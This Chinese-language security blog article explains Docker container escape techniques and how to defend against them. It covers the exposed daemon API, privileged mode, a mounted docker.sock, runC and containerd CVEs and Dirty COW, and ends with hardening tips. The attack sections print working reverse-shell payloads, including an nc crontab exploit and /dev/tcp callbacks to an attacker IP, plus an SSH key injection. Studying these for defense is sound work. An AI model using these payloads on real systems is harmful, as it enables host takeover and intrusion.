【容器安全防線】Docker攻擊方式與防範技術探究
什麼是Docker?
Docker 是一個開源的應用容器引擎,讓開發者可以打包他們的應用以及依賴包到一個可移植的映象中,然後釋出到任何流行的Linux或Windows作業系統的機器上,也可以實現虛擬化。容器是完全使用沙箱機制,相互之間不會有任何介面。
一個完整的Docker有以下幾個部分組成:
1、DockerClient客戶端
2、Docker Daemon守護程式
3、Docker Image映象
4、DockerContainer容器
Docker架構
Docker 使用客戶端-伺服器 (C/S) 架構模式,使用遠端API來管理和建立Docker容器。Docker 容器透過 Docker 映象來建立。容器與映象的關係類似於物件導向程式設計中的物件與類。
Docker採用 C/S架構 Docker daemon 作為服務端接受來自客戶的請求,並處理這些請求(建立、執行、分發容器)。 客戶端和服務端既可以執行在一個機器上,也可透過 socket 或者RESTful API 來進行通訊。
Docker daemon 一般在宿主主機後臺執行,等待接收來自客戶端的訊息。 Docker 客戶端則為使用者提供一系列可執行命令,使用者用這些命令實現跟 Docker daemon 互動。
Docker常見命令
列出映象列表
docker images
列出容器列表
docker ps -a
停止和刪除容器
docker stop/rm [CONTAINER ID]
刪除映象
docker rmi [IMAGE ID]
PS:刪除映象時,需要先停止執行的容器
查詢映象
docker search [NAME]
獲取映象
docker pull [NAME]
互動式方法啟動映象
docker run -it [REPOSITORY] /bin/bash
訪問容器
docker exec -it [CONTAINER ID] /bin/bash
退出容器
exit/ctrl+p+q
如何判斷當前機器是否為Docker容器環境
程式數很少
常見的一些命令無法使用
檢視根目錄下是否存在
.dockerenv檔案
docker環境下:ls -alh /.dockerenv
非docker環境,沒有.dockerenv檔案
利用
cat /proc/1/cgroup 是否存在docker相關資訊
透過
mount檢視掛載磁碟是否存在docker相關資訊
Docker攻擊手法
Docker危險配置引起的逃逸
安全往往在痛定思痛時得到發展。在這些年的迭代中,容器社群一直在努力將"縱深防禦"、"最小許可權"等理念和原則落地。例如,Docker已經將容器執行時的Capabilities黑名單機制改為如今的預設禁止所有Capabilities,再以白名單方式賦予容器執行所需的最小許可權。 然而,無論是細粒度許可權控制還是其他安全機制,使用者都可以透過修改容器環境配置或在執行容器時指定引數來縮小或擴大約束。如果使用者為不完全受控的容器提供了某些危險的配置引數,就為攻擊者提供了一定程度的逃逸可能性,有的時候使用者才是安全最大的隱患。
docker daemon api 未授權訪問漏洞
Vulhub提供了docker daemon api 未授權訪問漏洞的漏洞環境
https:// github.com/vulhub/vulhu b/tree/master/docker/unauthorized-rce
編譯及啟動漏洞環境:
docker-compose build
docker-compose up -d
環境啟動後,docker daemon api的埠為2375埠
利用方法是,我們隨意啟動一個容器,並將宿主機的/etc目錄掛載到容器中,便可以任意讀寫檔案了。我們可以將命令寫入crontab配置檔案,進行反彈shell。
反彈shell的exp:
import docker
client = docker.DockerClient(base_url=' http:// your-ip : 2375/')
data = client.containers.run('alpine:latest', r'''sh - c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
也可直接利用github上的exp進行攻擊
https:// github.com/Tycx2ry/dock er_api_vul
修復方案
1.關閉2375埠(尤其是公網情況下一定要禁用此埠)
2.在防火牆上配置禁止外網訪問2375埠
privileged特權模式啟動docker
啟動Docker容器。使用--privileged引數時,容器可以完全訪問所有裝置,並且不受seccomp,AppArmor和Linux capabilities的限制。
利用特權模式啟動一個docker容器
docker run -it --privileged centos /bin/bash
檢視當前容器是否是特權容器
cat /proc/1/status | grep Cap
如果查詢的值是0000000xffffffff,可以說明當前容器是特權容器。
檢視磁碟檔案,發現宿主機裝置為/dev/sda1
fdisk -l
在特權模式下,直接在容器內掛載宿主機磁碟,接著切換根目錄。
新建一個目錄: mkdir /mb
掛載宿主機磁碟到新建的目錄: mount /dev/sda2 /mb
切換根目錄: chroot /mb
chroot是change root,改變程式執行時所參考的根目錄位置,chroot可以增加系統的安全性,限制使用者能夠做的事。
建立計劃任務,反彈宿主機Shell
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.58.138/6666 0>&1' >> /mb/var/spool/cron/crontabs/root
掛載宿主機的root目錄到容器,寫入SSH私鑰登入
docker run -it -v /root:/root centos /bin/bash
mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys
相關啟動引數存在的安全問題:
Docker 透過Linux namespace實現6項資源隔離,包括主機名、使用者許可權、檔案系統、網路、程式號、程式間通訊。但部分啟動引數授予容器許可權較大的許可權,從而打破了資源隔離的界限。
--cap-add=SYS_ADMIN 啟動時,允許執行mount特權操作,需獲得資源掛載進行利用。
--net=host 啟動時,繞過Network Namespace
--pid=host 啟動時,繞過PID Namespace
--ipc=host 啟動時,繞過IPC Namespace
危險掛載docker.sock到容器內部
在docker容器中呼叫和執行宿主機的docker,將docker宿主機的docker檔案和docker.sock檔案掛載到容器中,可以理解為套娃。
docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
ubuntu \
/bin/bash
透過find在容器中查詢docker.sock
find / -name docker.sock
檢視宿主機docker資訊
docker -H unix://var/run/docker.sock info
執行一個新的容器並掛載宿主機根路徑
docker -H unix:///var/run/docker.sock run -it -v /:/mb ubuntu /bin/bash
在新容器的/mb 目錄下,就可以訪問到宿主機的全部資源
ls -al /mb
在新容器內執行chroot將根目錄切換到掛載的宿主機根目錄
chroot /mb
成功逃逸到宿主機。
Docker程式漏洞導致的逃逸
Shocker攻擊
漏洞描述
從Docker容器逃逸並讀取到主機某個目錄的檔案內容。Shocker攻擊的關鍵是執行了系統呼叫open_by_handle_at函式,Linux手冊中特別提到呼叫open_by_handle_at函式需要具備CAP_DAC_READ_SEARCH能力,而Docker1.0版本對Capability使用黑名單策略,並且沒有限制CAP_DAC_READ_SEARCH能力,因而引發了容器逃逸的風險。
漏洞影響版本
Docker版本 1.0, 存在於 Docker 1.0 之前的絕大多數版本(目前基本上不會存在了)
POC
https:// github.com/gabrtv/shock er
runC容器逃逸漏洞(CVE-2019-5736)
漏洞描述
Docker 18.09.2之前的版本中使用了的runc版本小於1.0-rc6,因此允許攻擊者重寫宿主機上的runc 二進位制檔案,攻擊者可以在宿主機上以root身份執行命令。
漏洞影響版本
Docker版本 18.09.2,runc版本 1.0-rc6,一般情況下,可透過 docker 和docker -version檢視當前版本情況。
POC
https:// github.com/Frichetten/C VE-2019-5736-PoC
攻擊流程
1、漏洞環境搭建(Ubuntu 18.04)
自動化搭建
curl https:// gist.githubusercontent.com /thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
docker拉取映象慢的話可以自行百度換源
2、下載poc並修改編譯
git clone https:// github.com/Frichetten/C VE-2019-5736-PoC
修改paylod
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1"
編譯poc
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
需要提前安裝golang-go和gccgo-go
3、複製編譯好的poc到docker裡
docker cp main 52fd26fd140f:/tmp
4、在docker裡執行main檔案
5、模擬管理員透過exec進入容器,觸發payload
sudo docker exec -it 52fd26fd140f /bin/bash
6、成功獲取宿主機反彈回來的shell
漏洞復現成功之後,docker容器將無法使用
Docker cp命令容器逃逸攻擊漏洞(CVE-2019-14271)
漏洞描述
當Docker宿主機使用cp命令時,會呼叫輔助程式docker-tar,該程式沒有被容器化,且會在執行時動態載入一些libnss*.so庫。駭客可以透過在容器中替換libnss*.so等庫,將程式碼注入到docker-tar中。當Docker使用者嘗試從容器中複製檔案時將會執行惡意程式碼,成功實現Docker逃逸,獲得宿主機root許可權。
漏洞影響版本
Docker 19.03.0
攻擊流程
Docker Build時的命令注入漏洞(CVE-2019-13139)
漏洞描述
攻擊者能夠提供或操縱“docker build”命令的構建路徑將能夠獲得命令執行。 “docker build”處理遠端 git URL 的方式存在問題,並導致命令注入到底層“git clone”命令中,導致程式碼在使用者執行“docker build”命令的上下文中執行。
漏洞影響版本
Docker 18.09.4之前的版本
攻擊流程
https:// staaldraad.github.io/po st/2019-07-16-cve-2019-13139-docker-build/
host模式容器逃逸漏洞(CVE-2020-15257)
漏洞描述
Containerd 是一個控制 runC 的守護程式,提供命令列客戶端和API,用於在一個機器上管理容器。
在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由於在網路模式為host的情況下,容器與宿主機共享一套Network namespace ,此時containerd-shim API暴露給了使用者,而且訪問控制僅僅驗證了連線程式的有效UID為0,但沒有限制對抽象Unix域套接字的訪問,剛好在預設情況下,容器內部的程式是以root使用者啟動的。在兩者的共同作用下,容器內部的程式就可以像主機中的containerd一樣,連線containerd-shim監聽的抽象Unix域套接字,呼叫containerd-shim提供的各種API,從而實現容器逃逸。
漏洞影響版本
containerd < 1.4.3
containerd < 1.3.9
攻擊流程
1、漏洞環境搭建
使用ubuntu 18.04 + metarget進行搭建(使用非18.04的ubuntu映象會出現錯誤)
git clone https:// github.com/brant-ruan/m etarget.git
pip3 insta ll -r requirements.txt
./metarget cnv install cve-2020-15257
2、啟動容器
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
在容器內執行命令cat /proc/net/unix|grep -a "containerd-shim",來判斷是否可看到抽象名稱空間Unix域套接字
3、反彈宿主機的shell
攻擊機監聽6666埠,下載漏洞利用工具 CDK,將CDK傳入容器tmp目錄下
sudo docker cp cdk_linux_amd64 15257:/tmp
賦予工具許可權,執行工具,執行反彈shell命令,成功得到一個宿主機的shell
cd /tmp
chmod 777
./cdk_linux_amd64 run shim-pwn reverse attacker-ip port
核心漏洞導致Docker逃逸
DirtyCow髒牛漏洞實現Docker逃逸(CVE-2016-5195)
漏洞描述
Dirty Cow(CVE-2016-5195)是Linux核心中的許可權提升漏洞,透過它可實現Docker容器逃逸,獲得root許可權的shell。
Docker與宿主機共享核心,所以容器需要在存在dirtyCow漏洞的宿主機裡
攻擊流程
1、下載容器並執行
git clone https:// github.com/gebl/dirtyco w-docker-vdso.git
cd dirtyco w-docker-vdso/
sudo docke r-compose run dirtycow /bin/bash
2、進入容器編譯POC並執行
cd /dirtycow-vdso/
make
./0xdeadbeef ip:port
3、攻擊機監聽埠接受宿主機反彈的shell
nc -lvvp port
Docker容器的防護方案
限制容器許可權:在執行容器時,可以使用命令列選項或Dockerfile指令來限制容器的訪問許可權,例如使用 --cap-drop選項禁止容器獲得特權模式。這可以減少攻擊面。
定期更新容器軟體包:及時更新容器中的軟體包、庫和依賴項,可以修復已知漏洞並提高安全性。
配置容器網路:透過配置容器網路來控制容器之間的通訊,並限制對外部系統的訪問,以保護容器免受網路攻擊。
加強認證和授權:設定強密碼、使用多因素身份驗證、限制特定使用者的訪問許可權等方法,可以增強容器的認證和授權機制,從而限制未經授權的訪問。
監視容器健康狀態:實時監視容器的健康狀態,對異常事件進行快速診斷和響應,可以避免未知漏洞或攻擊導致的容器故障。
應用安全 實踐:遵循安全優質 實踐,如使用最小化映象、啟用安全審計、使用容器映像簽名等方法,可以進一步提高容器的安全性。
參考文獻
https:// cloud.tencent.com/devel oper/article/2099396
cnblogs.com/xiaozi/p/13 423853.html
cnblogs.com/xiaozi/p/13 423853.html
shangyun51.com/articled etail?id=3932
重點活動推薦
2023年4月18日,青藤將舉辦“雲時代,安全變了——2023雲安全高峰論壇暨青藤品牌升級釋出會”,會上青藤將正式釋出:
(1)“青藤品牌新定位及Slogan”
(2)“青藤-先進雲安全整體解決方案”及“新產品”
(3)國內先進“基於AI新一代入侵檢測能力模型”
(4)國內 《雲安全能力成熟度全景圖》報告
參會報名通道
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69941982/viewspace-2944483/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- CSRF攻擊與Django防範Django
- 交換網路安全防範系列二之DHCP攻擊的防範
- 【技術乾貨】XSS攻擊、CSRF攻擊基本概念及防範方法
- 3、攻擊防範
- MySQL注射攻擊與防範詳解MySql
- ARP病毒攻擊技術分析與防禦
- WMI 的攻擊,防禦與取證分析技術之攻擊篇
- Web安全防範-----防止重放攻擊Web
- 瞭解常見網路攻擊方式,做好網路安全防範!
- DDOS 攻擊的防範教程
- 英特爾釋出新的技術規範去防禦 ROP 攻擊
- SQL隱碼攻擊的分類與防範SQL
- WMI 的攻擊,防禦與取證分析技術之防禦篇
- Docker容器技術與Docker介紹Docker
- [專業術語]什麼是ARP攻擊?如何防範ARP攻擊?
- [推薦]DDOS攻擊與防範知識介紹
- 建議收藏!XSS與CSRF攻擊防範措施
- 淺談DDOS攻擊攻擊與防禦
- 《DNS攻擊防範科普系列2》 -DNS伺服器怎麼防DDoS攻擊DNS伺服器
- 常見web攻擊型別有哪些?如何預防及防範web攻擊?Web型別
- 駭客一天內攻擊全球上千家公司,詳解勒索病毒的攻擊方式與防範措施
- WEB攻擊與防禦Web
- CSRF攻擊與防禦
- 前端 input 輸入框可能被攻擊的幾種方式及防範前端
- 聊聊簡訊介面攻擊的防範方案
- 關於SQL指令植入式攻擊的危害與防範措施SQL
- Docker容器與虛擬化技術:OpenEuler 部署 docker容器應用Docker
- 駭客攻擊技術之高階SQL隱碼攻擊技術(轉)SQL
- 運維和IT技術需知的DDOS攻擊防禦整理運維
- 如何防禦DDOS攻擊?網路安全技術學多久?
- 如何防範DDoS攻擊,使自己的網站減緩DDoS攻擊呢?網站
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?SQL
- Docker--容器技術Docker
- docker容器技術原理Docker
- web安全之XSS攻擊原理及防範Web
- 反射型 DDoS 攻擊的原理和防範措施反射
- 常見的攻擊方式以及防護策略
- 【技術向】SSH加密隧道流量攻擊與檢測技術加密